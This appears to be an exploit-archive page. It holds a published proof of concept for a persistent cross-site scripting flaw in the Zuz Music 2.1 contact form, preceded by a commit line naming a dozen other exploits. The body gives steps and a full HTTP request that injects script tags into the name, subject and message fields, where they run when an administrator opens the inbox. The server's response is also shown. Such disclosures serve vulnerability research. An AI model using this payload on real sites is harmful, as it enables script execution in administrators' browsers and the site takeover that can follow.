79a4beaea4
13 changes to exploits/shellcodes NetSetMan 4.7.1 - 'Workgroup' Denial of Service (PoC) Valentina Studio 9.0.4 - 'Host' Denial of Service (PoC) BulletProof FTP Server 2019.0.0.50 - 'SMTP Server' Denial of Service (PoC) MaxxAudio Drivers WavesSysSvc64.exe 1.6.2.0 - File Permissions SYSTEM Privilege Escalation Find a Place CMS Directory 1.5 - 'assets/external/data_2.php cate' SQL Injection Listing Hub CMS 1.0 - 'pages.php id' SQL Injection Zuz Music 2.1 - 'zuzconsole/___contact ' Persistent Cross-Site Scripting eDirectory - SQL Injection XAMPP 5.6.8 - SQL Injection / Persistent Cross-Site Scripting Zoho ManageEngine Netflow Analyzer Professional 7.0.0.2 - Path Traversal / Cross-Site Scripting Ask Expert Script 3.0.5 - Cross Site Scripting / SQL Injection Jenkins - Remote Code Execution
54 lines
No EOL
1.8 KiB
Text
54 lines
No EOL
1.8 KiB
Text
# Exploit Title: Zuz Music 2.1 - 'zuzconsole/___contact ' Persistent Cross-site Scripting
|
|
# Google Dork: N/A
|
|
# Date: 14 Feb 2019
|
|
# Exploit Author: Deyaa Muhammad
|
|
# Author EMail: contact [at] deyaa.me
|
|
# Author Blog: http://deyaa.me
|
|
# Vendor Homepage: https://zuz.host/
|
|
# Software Link: https://codecanyon.net/item/zuz-music-advance-music-platform-system/21633476
|
|
# Version: 2.1
|
|
# Tested on: WIN7_x68/Linux
|
|
# CVE : N/A
|
|
|
|
# Description:
|
|
----------------------
|
|
ZuzMusic 2.1 suffers from a persistent Cross-Site Scripting vulnerability.
|
|
|
|
# POC:
|
|
----------------------
|
|
1. Go To https://[PATH]/contact
|
|
2. There are three vulnerable parameters name, subject and message.
|
|
3. Inject the JavaScript code.
|
|
4. The Injected JavaScript code will be executed when the Administrator open the malicious message https://demos.zuz.host/gmusic/admin/inbox.
|
|
|
|
# Request:
|
|
----------------------
|
|
POST /gmusic/zuzconsole/___contact HTTP/1.1
|
|
Host: server
|
|
Connection: close
|
|
Content-Length: 155
|
|
Accept: application/json, text/plain, */*
|
|
Origin: https://demos.zuz.host
|
|
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
|
|
Content-Type: application/json;charset=UTF-8
|
|
Referer: https://server/gmusic/contact
|
|
Accept-Encoding: gzip, deflate
|
|
X-XSS-Protection: 0
|
|
|
|
{"type":"general","name":"<script>alert(0)</script>","mail":"mail@example.com","subject":"<script>alert(1)</script>","message":"<script>alert(2)</script>"}
|
|
|
|
|
|
# Response:
|
|
----------------------
|
|
HTTP/1.1 200 OK
|
|
Date: Fri, 15 Feb 2019 01:30:19 GMT
|
|
Server: Apache
|
|
Connection: close
|
|
Content-Type: application/json
|
|
Content-Length: 183
|
|
|
|
{
|
|
"kind": "zuz#contactMessageSent",
|
|
"etag": "hnwdHsGYwqI6CCSoRSXDMG1BEDTbMMFrOcayLdTYeOs",
|
|
"message": "We have recieved your query and will get back to you in 24 hours."
|
|
} |